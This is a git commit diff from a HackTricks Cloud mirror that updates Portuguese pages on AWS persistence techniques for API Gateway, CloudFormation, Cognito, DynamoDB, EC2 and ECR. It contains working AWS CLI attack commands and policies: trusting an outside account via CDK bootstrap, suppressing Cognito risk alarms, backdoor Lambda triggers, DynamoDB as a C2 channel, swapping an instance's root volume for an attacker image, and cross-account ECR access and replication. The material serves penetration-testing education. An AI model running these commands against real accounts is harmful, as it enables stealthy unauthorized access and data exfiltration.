mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-05 03:16:37 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-p
This commit is contained in:
@@ -1,32 +0,0 @@
|
||||
# AWS - Persistência do API Gateway
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Para mais informações, vá para:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Política de Recursos
|
||||
|
||||
Modifique a política de recursos do(s) API gateway(s) para conceder a si mesmo acesso a eles.
|
||||
|
||||
### Modificar Autorizadores Lambda
|
||||
|
||||
Modifique o código dos autorizadores lambda para conceder a si mesmo acesso a todos os endpoints.\
|
||||
Ou simplesmente remova o uso do autorizador.
|
||||
|
||||
### Permissões IAM
|
||||
|
||||
Se um recurso estiver usando autorizador IAM, você pode se conceder acesso a ele modificando as permissões IAM.\
|
||||
Ou simplesmente remova o uso do autorizador.
|
||||
|
||||
### Chaves de API
|
||||
|
||||
Se chaves de API forem usadas, você pode vazá-las para manter a persistência ou até mesmo criar novas.\
|
||||
Ou simplesmente remova o uso das chaves de API.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,32 @@
|
||||
# AWS - API Gateway Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## API Gateway
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Política de Recursos
|
||||
|
||||
Modifique a política de recursos do(s) API gateway(s) para conceder a si mesmo acesso a eles
|
||||
|
||||
### Modificar Lambda Authorizers
|
||||
|
||||
Modifique o código dos lambda authorizers para conceder a si mesmo acesso a todos os endpoints.\
|
||||
Ou simplesmente remova o uso do authorizer.
|
||||
|
||||
### Permissões IAM
|
||||
|
||||
Se um recurso estiver usando um IAM authorizer você pode conceder a si mesmo acesso a ele modificando as permissões IAM.\
|
||||
Ou simplesmente remova o uso do authorizer.
|
||||
|
||||
### API Keys
|
||||
|
||||
Se API keys estiverem sendo usadas, você pode leak as chaves para manter persistence ou até criar novas.\
|
||||
Ou simplesmente remova o uso de API keys.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,23 +0,0 @@
|
||||
# AWS - Persistência do Cloudformation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Para mais informações, acesse:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Pilha de Inicialização do CDK
|
||||
|
||||
O AWS CDK implanta uma pilha CFN chamada `CDKToolkit`. Esta pilha suporta um parâmetro `TrustedAccounts` que permite que contas externas implantem projetos CDK na conta da vítima. Um atacante pode abusar disso para conceder a si mesmo acesso indefinido à conta da vítima, seja usando o AWS cli para reimplantar a pilha com parâmetros, ou o AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,23 @@
|
||||
# AWS - Cloudformation Persistência
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## CloudFormation
|
||||
|
||||
Para mais informações, acesse:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cloudformation-and-codestar-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### CDK Bootstrap Stack
|
||||
|
||||
O AWS CDK implanta uma CFN stack chamada `CDKToolkit`. Essa stack suporta um parâmetro `TrustedAccounts` que permite que contas externas implantem projetos CDK na conta da vítima. Um atacante pode abusar disso para conceder a si mesmo acesso indefinido à conta da vítima, seja usando o AWS cli para reimplantar a stack com parâmetros, ou o AWS CDK cli.
|
||||
```bash
|
||||
# CDK
|
||||
cdk bootstrap --trust 1234567890
|
||||
|
||||
# AWS CLI
|
||||
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,40 +0,0 @@
|
||||
# AWS - Persistência do Cognito
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Para mais informações, acesse:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistência do usuário
|
||||
|
||||
Cognito é um serviço que permite atribuir funções a usuários não autenticados e autenticados e controlar um diretório de usuários. Várias configurações diferentes podem ser alteradas para manter alguma persistência, como:
|
||||
|
||||
- **Adicionar um User Pool** controlado pelo usuário a um Identity Pool
|
||||
- Dar uma **função IAM a um Identity Pool não autenticado e permitir o fluxo de autenticação básica**
|
||||
- Ou a um **Identity Pool autenticado** se o atacante puder fazer login
|
||||
- Ou **melhorar as permissões** das funções dadas
|
||||
- **Criar, verificar e privesc** via atributos controlados por usuários ou novos usuários em um **User Pool**
|
||||
- **Permitir provedores de identidade externos** para fazer login em um User Pool ou em um Identity Pool
|
||||
|
||||
Verifique como realizar essas ações em
|
||||
|
||||
{{#ref}}
|
||||
../aws-privilege-escalation/aws-cognito-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Um atacante com esse privilégio poderia modificar a configuração de risco para poder fazer login como um usuário Cognito **sem que alarmes sejam acionados**. [**Confira o cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para verificar todas as opções:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Por padrão, isso está desativado:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,40 @@
|
||||
# AWS - Persistência do Cognito
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cognito
|
||||
|
||||
Para mais informações, acesse:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-cognito-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistência de usuários
|
||||
|
||||
Cognito é um serviço que permite atribuir roles a usuários não autenticados e autenticados e controlar um diretório de usuários. Várias configurações diferentes podem ser alteradas para manter alguma persistência, como:
|
||||
|
||||
- **Adding a User Pool** controlled by the user to an Identity Pool
|
||||
- Give an **IAM role to an unauthenticated Identity Pool and allow Basic auth flow**
|
||||
- Or to an **authenticated Identity Pool** if the attacker can login
|
||||
- Or **improve the permissions** of the given roles
|
||||
- **Create, verify & privesc** via attributes controlled users or new users in a **User Pool**
|
||||
- **Allowing external Identity Providers** to login in a User Pool or in an Identity Pool
|
||||
|
||||
Confira como realizar essas ações em
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-cognito-privesc/README.md
|
||||
{{#endref}}
|
||||
|
||||
### `cognito-idp:SetRiskConfiguration`
|
||||
|
||||
Um atacante com esse privilégio poderia modificar a configuração de risco para conseguir logar como um Cognito user **sem que alarmes sejam acionados**. [**Check out the cli**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/set-risk-configuration.html) para ver todas as opções:
|
||||
```bash
|
||||
aws cognito-idp set-risk-configuration --user-pool-id <pool-id> --compromised-credentials-risk-configuration EventFilter=SIGN_UP,Actions={EventAction=NO_ACTION}
|
||||
```
|
||||
Por padrão, isso está desativado:
|
||||
|
||||
<figure><img src="https://lh6.googleusercontent.com/EOiM0EVuEgZDfW3rOJHLQjd09-KmvraCMssjZYpY9sVha6NcxwUjStrLbZxAT3D3j9y08kd5oobvW8a2fLUVROyhkHaB1OPhd7X6gJW3AEQtlZM62q41uYJjTY1EJ0iQg6Orr1O7yZ798EpIJ87og4Tbzw=s2048" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,18 +1,18 @@
|
||||
# AWS - Persistência do DynamoDB
|
||||
# AWS - DynamoDB Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
### DynamoDB
|
||||
|
||||
Para mais informações, acesse:
|
||||
Para mais informações acesse:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-dynamodb-enum.md
|
||||
../../aws-services/aws-dynamodb-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Gatilhos do DynamoDB com Backdoor Lambda
|
||||
### DynamoDB Triggers with Lambda Backdoor
|
||||
|
||||
Usando gatilhos do DynamoDB, um atacante pode criar uma **backdoor furtiva** associando uma função Lambda maliciosa a uma tabela. A função Lambda pode ser acionada quando um item é adicionado, modificado ou excluído, permitindo que o atacante execute código arbitrário dentro da conta AWS.
|
||||
Usando gatilhos do DynamoDB, um atacante pode criar um **furtivo backdoor** ao associar uma função Lambda maliciosa a uma tabela. A função Lambda pode ser acionada quando um item é adicionado, modificado ou excluído, permitindo que o atacante execute código arbitrário dentro da conta AWS.
|
||||
```bash
|
||||
# Create a malicious Lambda function
|
||||
aws lambda create-function \
|
||||
@@ -34,11 +34,11 @@ aws lambda create-event-source-mapping \
|
||||
--event-source <STREAM_ARN> \
|
||||
--region <region>
|
||||
```
|
||||
Para manter a persistência, o atacante pode criar ou modificar itens na tabela DynamoDB, o que acionará a função Lambda maliciosa. Isso permite que o atacante execute código dentro da conta AWS sem interação direta com a função Lambda.
|
||||
Para manter persistência, o atacante pode criar ou modificar itens na tabela DynamoDB, o que acionará a função Lambda maliciosa. Isso permite que o atacante execute código na conta AWS sem interação direta com a função Lambda.
|
||||
|
||||
### DynamoDB como um Canal C2
|
||||
### DynamoDB como um C2 Channel
|
||||
|
||||
Um atacante pode usar uma tabela DynamoDB como um **canal de comando e controle (C2)** criando itens contendo comandos e usando instâncias comprometidas ou funções Lambda para buscar e executar esses comandos.
|
||||
Um atacante pode usar uma tabela DynamoDB como um **command and control (C2) channel** criando itens contendo comandos e usando instâncias comprometidas ou funções Lambda para buscar e executar esses comandos.
|
||||
```bash
|
||||
# Create a DynamoDB table for C2
|
||||
aws dynamodb create-table \
|
||||
@@ -54,6 +54,6 @@ aws dynamodb put-item \
|
||||
--item '{"CommandId": {"S": "cmd1"}, "Command": {"S": "malicious_command"}}' \
|
||||
--region <region>
|
||||
```
|
||||
As instâncias comprometidas ou funções Lambda podem verificar periodicamente a tabela C2 em busca de novos comandos, executá-los e, opcionalmente, relatar os resultados de volta à tabela. Isso permite que o atacante mantenha persistência e controle sobre os recursos comprometidos.
|
||||
As instâncias comprometidas ou funções Lambda podem verificar periodicamente a tabela C2 em busca de novos comandos, executá-los e, opcionalmente, relatar os resultados de volta para a tabela. Isso permite que o atacante mantenha persistência e controle sobre os recursos comprometidos.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,54 +0,0 @@
|
||||
# AWS - Persistência EC2
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Persistência de Rastreamento de Conexão do Grupo de Segurança
|
||||
|
||||
Se um defensor descobrir que uma **instância EC2 foi comprometida**, ele provavelmente tentará **isolar** a **rede** da máquina. Ele poderia fazer isso com um **Deny NACL** explícito (mas os NACLs afetam toda a sub-rede), ou **mudando o grupo de segurança** para não permitir **qualquer tipo de tráfego de entrada ou saída**.
|
||||
|
||||
Se o atacante tiver um **reverse shell originado da máquina**, mesmo que o SG seja modificado para não permitir tráfego de entrada ou saída, a **conexão não será encerrada devido ao** [**Rastreamento de Conexão do Grupo de Segurança**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### Gerenciador de Ciclo de Vida EC2
|
||||
|
||||
Este serviço permite **agendar** a **criação de AMIs e snapshots** e até mesmo **compartilhá-los com outras contas**.\
|
||||
Um atacante poderia configurar a **geração de AMIs ou snapshots** de todas as imagens ou de todos os volumes **toda semana** e **compartilhá-los com sua conta**.
|
||||
|
||||
### Instâncias Agendadas
|
||||
|
||||
É possível agendar instâncias para serem executadas diariamente, semanalmente ou até mensalmente. Um atacante poderia executar uma máquina com altos privilégios ou acesso interessante onde ele poderia acessar.
|
||||
|
||||
### Solicitação de Frota Spot
|
||||
|
||||
Instâncias spot são **mais baratas** do que instâncias regulares. Um atacante poderia lançar uma **pequena solicitação de frota spot por 5 anos** (por exemplo), com **atribuição automática de IP** e um **user data** que envia para o atacante **quando a instância spot iniciar** e o **endereço IP** e com um **papel IAM de alto privilégio**.
|
||||
|
||||
### Instâncias de Backdoor
|
||||
|
||||
Um atacante poderia obter acesso às instâncias e backdoor elas:
|
||||
|
||||
- Usando um **rootkit** tradicional, por exemplo
|
||||
- Adicionando uma nova **chave SSH pública** (ver [opções de privesc EC2](../aws-privilege-escalation/aws-ec2-privesc.md))
|
||||
- Backdooring os **User Data**
|
||||
|
||||
### **Configuração de Lançamento de Backdoor**
|
||||
|
||||
- Backdoor a AMI utilizada
|
||||
- Backdoor os User Data
|
||||
- Backdoor o Par de Chaves
|
||||
|
||||
### VPN
|
||||
|
||||
Criar uma VPN para que o atacante possa se conectar diretamente através dela ao VPC.
|
||||
|
||||
### Peering VPC
|
||||
|
||||
Criar uma conexão de peering entre o VPC da vítima e o VPC do atacante para que ele possa acessar o VPC da vítima.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,62 @@
|
||||
# AWS - EC2 Persistência
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## EC2
|
||||
|
||||
Para mais informações consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
{{#endref}}
|
||||
|
||||
### Security Group Connection Tracking Persistence
|
||||
|
||||
Se um defensor descobrir que uma **instância EC2 foi comprometida** ele provavelmente tentará **isolar** a **rede** da máquina. Ele pode fazer isso com um **Deny NACL** explícito (mas NACLs afetam toda a subnet), ou **alterando o security group** para não permitir **any kind of inbound or outbound** traffic.
|
||||
|
||||
Se o atacante tiver um **reverse shell originated from the machine**, mesmo que o SG seja modificado para não permitir inbound ou outbound traffic, a **conexão não será encerrada devido a** [**Security Group Connection Tracking**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/security-group-connection-tracking.html)**.**
|
||||
|
||||
### EC2 Lifecycle Manager
|
||||
|
||||
Este serviço permite **agendar** a **criação de AMIs e snapshots** e até **compartilhá-los com outras contas**.\
|
||||
Um atacante poderia configurar a **geração de AMIs ou snapshots** de todas as imagens ou de todos os volumes **toda semana** e **compartilhá-los com sua conta**.
|
||||
|
||||
### Scheduled Instances
|
||||
|
||||
É possível agendar instâncias para rodar diariamente, semanalmente ou até mensalmente. Um atacante poderia executar uma máquina com altos privilégios ou acesso interessante ao qual ele poderia se conectar.
|
||||
|
||||
### Spot Fleet Request
|
||||
|
||||
Spot instances são **mais baratas** que instâncias regulares. Um atacante poderia lançar um **small spot fleet request for 5 year** (por exemplo), com **automatic IP** assignment e um **user data** que envia para o atacante **quando a spot instance start** o **endereço IP** e com um **high privileged IAM role**.
|
||||
|
||||
### Backdoor Instances
|
||||
|
||||
Um atacante poderia obter acesso às instâncias e instalar backdoors nelas:
|
||||
|
||||
- Usando um **rootkit** tradicional, por exemplo
|
||||
- Adicionando uma nova **public SSH key** (ver [EC2 privesc options](../../aws-privilege-escalation/aws-ec2-privesc/README.md))
|
||||
- Backdooring o **User Data**
|
||||
|
||||
### **Backdoor Launch Configuration**
|
||||
|
||||
- Backdoor o AMI usado
|
||||
- Backdoor o User Data
|
||||
- Backdoor o Key Pair
|
||||
|
||||
### EC2 ReplaceRootVolume Task (Stealth Backdoor)
|
||||
|
||||
Troque o volume root EBS de uma instância em execução por um construído a partir de um AMI ou snapshot controlado pelo atacante usando `CreateReplaceRootVolumeTask`. A instância mantém suas ENIs, IPs, e role, inicializando efetivamente em código malicioso enquanto aparenta não ter sido alterada.
|
||||
|
||||
{{#ref}}
|
||||
../aws-ec2-replace-root-volume-persistence/README.md
|
||||
{{#endref}}
|
||||
|
||||
### VPN
|
||||
|
||||
Criar uma VPN para que o atacante possa conectar-se diretamente à VPC.
|
||||
|
||||
### VPC Peering
|
||||
|
||||
Criar uma peering connection entre a VPC vítima e a VPC do atacante para que ele possa acessar a VPC vítima.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,75 @@
|
||||
# AWS - EC2 ReplaceRootVolume Task (Stealth Backdoor / Persistence)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse **ec2:CreateReplaceRootVolumeTask** para trocar o volume root EBS de uma instância em execução por um restaurado a partir de um AMI ou snapshot controlado pelo atacante. A instância é reiniciada automaticamente e retoma com o sistema de arquivos root controlado pelo atacante enquanto preserva ENIs, IPs privados/públicos, volumes anexados não-root, e os metadata da instância/IAM role.
|
||||
|
||||
## Requisitos
|
||||
- A instância alvo é EBS-backed e está em execução na mesma região.
|
||||
- AMI ou snapshot compatível: mesma arquitetura/virtualização/modo de boot (e product codes, se houver) que a instância alvo.
|
||||
|
||||
## Pré-verificações
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<victim instance>
|
||||
|
||||
# Ensure EBS-backed
|
||||
aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceType' --output text
|
||||
|
||||
# Capture current network and root volume
|
||||
ROOT_DEV=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].RootDeviceName' --output text)
|
||||
ORIG_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
PRI_IP=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].PrivateIpAddress' --output text)
|
||||
ENI_ID=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query 'Reservations[0].Instances[0].NetworkInterfaces[0].NetworkInterfaceId' --output text)
|
||||
```
|
||||
## Substituir root a partir de AMI (preferido)
|
||||
```bash
|
||||
IMAGE_ID=<attacker-controlled compatible AMI>
|
||||
|
||||
# Start task
|
||||
TASK_ID=$(aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --image-id $IMAGE_ID --query 'ReplaceRootVolumeTaskId' --output text)
|
||||
|
||||
# Poll until state == succeeded
|
||||
while true; do
|
||||
STATE=$(aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --query 'ReplaceRootVolumeTasks[0].TaskState' --output text)
|
||||
echo "$STATE"; [ "$STATE" = "succeeded" ] && break; [ "$STATE" = "failed" ] && exit 1; sleep 10;
|
||||
done
|
||||
```
|
||||
Alternativa usando um snapshot:
|
||||
```bash
|
||||
SNAPSHOT_ID=<snapshot with bootable root FS compatible with the instance>
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAPSHOT_ID
|
||||
```
|
||||
## Evidência / Verificação
|
||||
```bash
|
||||
# Instance auto-reboots; network identity is preserved
|
||||
NEW_VOL=$(aws ec2 describe-instances --region $REGION --instance-ids $INSTANCE_ID --query "Reservations[0].Instances[0].BlockDeviceMappings[?DeviceName==\`$ROOT_DEV\`].Ebs.VolumeId" --output text)
|
||||
|
||||
# Compare before vs after
|
||||
printf "ENI:%s IP:%s
|
||||
ORIG_VOL:%s
|
||||
NEW_VOL:%s
|
||||
" "$ENI_ID" "$PRI_IP" "$ORIG_VOL" "$NEW_VOL"
|
||||
|
||||
# (Optional) Inspect task details and console output
|
||||
aws ec2 describe-replace-root-volume-tasks --region $REGION --replace-root-volume-task-ids $TASK_ID --output json
|
||||
aws ec2 get-console-output --region $REGION --instance-id $INSTANCE_ID --latest --output text
|
||||
```
|
||||
Esperado: ENI_ID e PRI_IP permanecem os mesmos; o ID do volume raiz muda de $ORIG_VOL para $NEW_VOL. O sistema inicializa com o sistema de arquivos do AMI/snapshot controlado pelo atacante.
|
||||
|
||||
## Notas
|
||||
- A API não exige que você pare manualmente a instância; EC2 orquestra a reinicialização.
|
||||
- Por padrão, o volume raiz EBS substituído (antigo) é desanexado e permanece na conta (DeleteReplacedRootVolume=false). Isso pode ser usado para reversão ou deve ser excluído para evitar custos.
|
||||
|
||||
## Reversão / Limpeza
|
||||
```bash
|
||||
# If the original root volume still exists (e.g., $ORIG_VOL is in state "available"),
|
||||
# you can create a snapshot and replace again from it:
|
||||
SNAP=$(aws ec2 create-snapshot --region $REGION --volume-id $ORIG_VOL --description "Rollback snapshot for $INSTANCE_ID" --query SnapshotId --output text)
|
||||
aws ec2 wait snapshot-completed --region $REGION --snapshot-ids $SNAP
|
||||
aws ec2 create-replace-root-volume-task --region $REGION --instance-id $INSTANCE_ID --snapshot-id $SNAP
|
||||
|
||||
# Or simply delete the detached old root volume if not needed:
|
||||
aws ec2 delete-volume --region $REGION --volume-id $ORIG_VOL
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,91 +0,0 @@
|
||||
# AWS - ECR Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Imagem Docker Oculta com Código Malicioso
|
||||
|
||||
Um atacante poderia **fazer upload de uma imagem Docker contendo código malicioso** para um repositório ECR e usá-la para manter a persistência na conta AWS alvo. O atacante poderia então implantar a imagem maliciosa em vários serviços dentro da conta, como Amazon ECS ou EKS, de maneira furtiva.
|
||||
|
||||
### Política do Repositório
|
||||
|
||||
Adicione uma política a um único repositório concedendo a si mesmo (ou a todos) acesso a um repositório:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Note que o ECR requer que os usuários tenham **permissão** para fazer chamadas à API **`ecr:GetAuthorizationToken`** através de uma política IAM **antes que possam se autenticar** em um registro e enviar ou puxar quaisquer imagens de qualquer repositório Amazon ECR.
|
||||
|
||||
### Política de Registro e Replicação entre Contas
|
||||
|
||||
É possível replicar automaticamente um registro em uma conta externa configurando a replicação entre contas, onde você precisa **indicar a conta externa** onde deseja replicar o registro.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Primeiro, você precisa dar à conta externa acesso ao registro com uma **política de registro** como:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
Então aplique a configuração de replicação:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,145 @@
|
||||
# AWS - ECR Persistência
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## ECR
|
||||
|
||||
Para mais informações, veja:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ecr-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Imagem Docker Oculta com Código Malicioso
|
||||
|
||||
Um atacante pode **fazer upload de uma imagem Docker contendo código malicioso** para um repositório ECR e usá-la para manter persistência na conta AWS alvo. Em seguida, o atacante pode implantar a imagem maliciosa em vários serviços dentro da conta, como Amazon ECS ou EKS, de forma furtiva.
|
||||
|
||||
### Repository Policy
|
||||
|
||||
Adicione uma policy a um único repositório concedendo a você (ou a todos) acesso a um repositório:
|
||||
```bash
|
||||
aws ecr set-repository-policy \
|
||||
--repository-name cluster-autoscaler \
|
||||
--policy-text file:///tmp/my-policy.json
|
||||
|
||||
# With a .json such as
|
||||
|
||||
{
|
||||
"Version" : "2008-10-17",
|
||||
"Statement" : [
|
||||
{
|
||||
"Sid" : "allow public pull",
|
||||
"Effect" : "Allow",
|
||||
"Principal" : "*",
|
||||
"Action" : [
|
||||
"ecr:BatchCheckLayerAvailability",
|
||||
"ecr:BatchGetImage",
|
||||
"ecr:GetDownloadUrlForLayer"
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!WARNING]
|
||||
> Note que o ECR exige que os usuários tenham **permissão** para fazer chamadas à API **`ecr:GetAuthorizationToken`** através de uma IAM policy **antes de poderem autenticar-se** em um registry e push or pull quaisquer imagens de qualquer repositório do Amazon ECR.
|
||||
|
||||
### Registry Policy & Replicação entre Contas
|
||||
|
||||
É possível replicar automaticamente um registry em uma conta externa configurando cross-account replication, onde você precisa **indicar a conta externa** para a qual deseja replicar o registry.
|
||||
|
||||
<figure><img src="../../../images/image (79).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Primeiro, você precisa dar à conta externa acesso ao registry com uma **registry policy** como:
|
||||
```bash
|
||||
aws ecr put-registry-policy --policy-text file://my-policy.json
|
||||
|
||||
# With a .json like:
|
||||
|
||||
{
|
||||
"Sid": "asdasd",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "arn:aws:iam::947247140022:root"
|
||||
},
|
||||
"Action": [
|
||||
"ecr:CreateRepository",
|
||||
"ecr:ReplicateImage"
|
||||
],
|
||||
"Resource": "arn:aws:ecr:eu-central-1:947247140022:repository/*"
|
||||
}
|
||||
```
|
||||
Em seguida, aplique a configuração de replicação:
|
||||
```bash
|
||||
aws ecr put-replication-configuration \
|
||||
--replication-configuration file://replication-settings.json \
|
||||
--region us-west-2
|
||||
|
||||
# Having the .json a content such as:
|
||||
{
|
||||
"rules": [{
|
||||
"destinations": [{
|
||||
"region": "destination_region",
|
||||
"registryId": "destination_accountId"
|
||||
}],
|
||||
"repositoryFilters": [{
|
||||
"filter": "repository_prefix_name",
|
||||
"filterType": "PREFIX_MATCH"
|
||||
}]
|
||||
}]
|
||||
}
|
||||
```
|
||||
### Repository Creation Templates (prefix backdoor for future repos)
|
||||
|
||||
Abuse ECR Repository Creation Templates para automaticamente backdoor qualquer repositório que o ECR crie automaticamente sob um prefixo controlado (por exemplo via Pull-Through Cache ou Create-on-Push). Isso concede acesso não autorizado persistente a repositórios futuros sem tocar nos existentes.
|
||||
|
||||
- Permissões necessárias: ecr:CreateRepositoryCreationTemplate, ecr:DescribeRepositoryCreationTemplates, ecr:UpdateRepositoryCreationTemplate, ecr:DeleteRepositoryCreationTemplate, ecr:SetRepositoryPolicy (usado pelo template), iam:PassRole (se uma role personalizada estiver anexada ao template).
|
||||
- Impacto: Qualquer novo repositório criado sob o prefixo alvo herda automaticamente uma política de repositório controlada pelo atacante (por exemplo, leitura/escrita cross-account), mutabilidade de tags e padrões de varredura.
|
||||
|
||||
<details>
|
||||
<summary>Backdoor repositórios futuros criados via PTC sob um prefixo escolhido</summary>
|
||||
```bash
|
||||
# Region
|
||||
REGION=us-east-1
|
||||
|
||||
